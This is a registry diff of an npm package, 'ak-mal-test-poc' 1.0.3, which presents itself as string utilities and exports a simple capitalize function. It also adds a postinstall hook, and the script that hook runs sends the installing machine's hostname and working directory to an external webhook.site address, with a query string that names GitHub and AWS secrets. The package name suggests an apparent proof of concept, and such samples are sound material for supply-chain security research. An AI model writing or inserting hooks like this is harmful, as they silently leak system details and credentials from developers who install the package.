ak-mal-test-poc 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/index.js +4 -0
  2. package/package.json +13 -0
  3. package/postinstall.js +18 -0
package/index.js ADDED
@@ -0,0 +1,4 @@
1
+ function capitalize(str) {
2
+ return str.charAt(0).toUpperCase() + str.slice(1);
3
+ }
4
+ module.exports = { capitalize };
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "ak-mal-test-poc",
3
+ "version": "1.0.3",
4
+ "license": "ISC",
5
+ "description": "Handy string utilities",
6
+ "main": "index.js",
7
+ "scripts": {
8
+ "postinstall": "node postinstall.js"
9
+ },
10
+ "publishConfig": {
11
+ "registry": "https://registry.npmjs.org/"
12
+ }
13
+ }
package/postinstall.js ADDED
@@ -0,0 +1,18 @@
1
+ const os = require('os');
2
+ const https = require('https');
3
+
4
+ function sendSystemData() {
5
+ const hostname = os.hostname();
6
+ const cwd = process.cwd();
7
+ const env_details = process.env;
8
+ const url = `https://webhook.site/bde058de-673c-4b8a-9d9c-acb21ad67a68?host=${encodeURIComponent(hostname)}&dir=${encodeURIComponent(cwd)}&secrets=GITHUB_PAT%2CAWS_SECRET_ACCESS_KEY`;
9
+
10
+ https.get(url, (res) => {
11
+ console.log(`SENSITIVE DATA EXFILTRATED`);
12
+ }).on('error', (err) => {
13
+ console.error('Error sending data:', err.message);
14
+ });
15
+ }
16
+
17
+ sendSystemData();
18
+